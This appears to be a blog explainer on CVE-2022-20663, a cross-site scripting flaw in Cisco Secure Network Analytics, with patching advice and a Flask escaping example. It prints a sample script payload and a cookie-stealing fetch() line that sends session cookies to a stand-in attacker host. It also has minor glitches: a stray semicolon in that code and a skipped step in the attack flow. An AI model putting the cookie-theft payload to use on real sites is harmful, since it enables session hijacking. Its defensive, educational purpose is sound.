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When we look at cybersecurity today, cross-site scripting (XSS) vulnerabilities are still everywhere—and this one in Cisco Secure Network Analytics (formerly called Stealthwatch Enterprise) is a textbook case. In this long-read, I’ll walk through what happened, how the vulnerability worked, real-world exploit details (with easy-to-understand code examples), how to protect your organization, and provide links for deeper reading.

What is CVE-2022-20663?

CVE-2022-20663 is a Cross-Site Scripting vulnerability discovered in the web interface of Cisco Secure Network Analytics. The short version: if someone clicks on a malicious link crafted by an attacker, the attacker can trick the user’s browser into running unauthorized scripts. These scripts can steal sensitive data (like session cookies) or perform actions as if they were the user.

CVSS Score: 6.1 (medium)

- CISA Reference: CISA Known Exploited Vulnerabilities
- Cisco Advisory: Cisco Advisory

How Does This XSS Vulnerability Really Work?

The vulnerability exists because the management web interface doesn’t sanitize user-supplied input well enough. This means it’s possible to inject arbitrary script code into the front-end.

Here’s the typical attack flow

1. Attacker crafts a malicious URL pointing to your Secure Network Analytics interface and hides some evil JavaScript payload in a parameter.

3. The web UI displays the data straight from that link, including the malicious code, which the browser then runs.
4. Now, the attacker’s code runs as if they were the authorized user—stealing data, hijacking sessions, or worse.

Simple Exploit Example

Let’s say the vulnerable page displays a username parameter from the URL without proper escaping.

Suppose your Secure Network Analytics site is at

https://your-stealthwatch.example.com

If a legit page is

https://your-stealthwatch.example.com/login?user=admin

A malicious URL could be crafted like this

https://your-stealthwatch.example.com/login?user=<script>alert('Hacked!')</script>

What happens?

If the server doesn’t sanitize user, the string gets injected directly

<div>Welcome, <script>alert('Hacked!')</script></div>

The browser sees this and pops an alert. In a real attack, the script could do worse things, like steal your cookie:

<script>
  fetch('https://attacker.com/steal?cookie='; + document.cookie);
</script>

So the victim’s session cookie is silently transmitted to the attacker.

Why Does This Matter?

*Attackers don’t need to know your password.*
If they can steal your admin session, they can control your Secure Network Analytics console, read or export logs, change configs, or pivot deeper into your enterprise network.

Just one click on the wrong link—sent via phishing email, chat, or even a QR code—can hand an attacker the keys.

No Workarounds, Only Updates

Cisco has no workaround for this vulnerability. The only solution is to upgrade to the fixed software version.

Check your version!
See Cisco’s official advisory here:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-stealthwatch-xss-wK57uGG

Upgrade Immediately

Patch your Secure Network Analytics appliances. Cisco released software updates that fix the vulnerability.

Review Access and Logs

Check admin actions and review logs for suspicious URLs or activity. If possible, invalidate all active sessions post-upgrade.

Educate Your Team

Remind users never to click unknown or suspicious links, even if something looks like it belongs to your network tools.

Test for Similar Issues

Use tools like Burp Suite, OWASP ZAP, or even curl/wget to see if parameters are echoed back unsanitized.

For Developers and Security Teams

If you’re responsible for a similar web UI, always sanitize and escape all user inputs that show up in the browser. Here’s a basic example in Python (Flask):

from flask import escape

@app.route('/login')
def login():
    user = request.args.get('user', '')
    return f"Welcome, {escape(user)}"

Notice the escape(user) call? That’s all it takes to block this class of attacks.

Want to Learn More?

- CVE-2022-20663 - NIST NVD
- Cisco Secure Network Analytics product page
- OWASP XSS Cheat Sheet

Final Thoughts

CVE-2022-20663 demonstrates that even major enterprise security tools can have common web vulnerabilities. Stay vigilant, patch rapidly, and encourage a “think before you click” mindset across your team. Not every vulnerability is this easy to exploit—but when they are, attackers move fast.

Timeline

Published on: 11/15/2024 16:15:21 UTC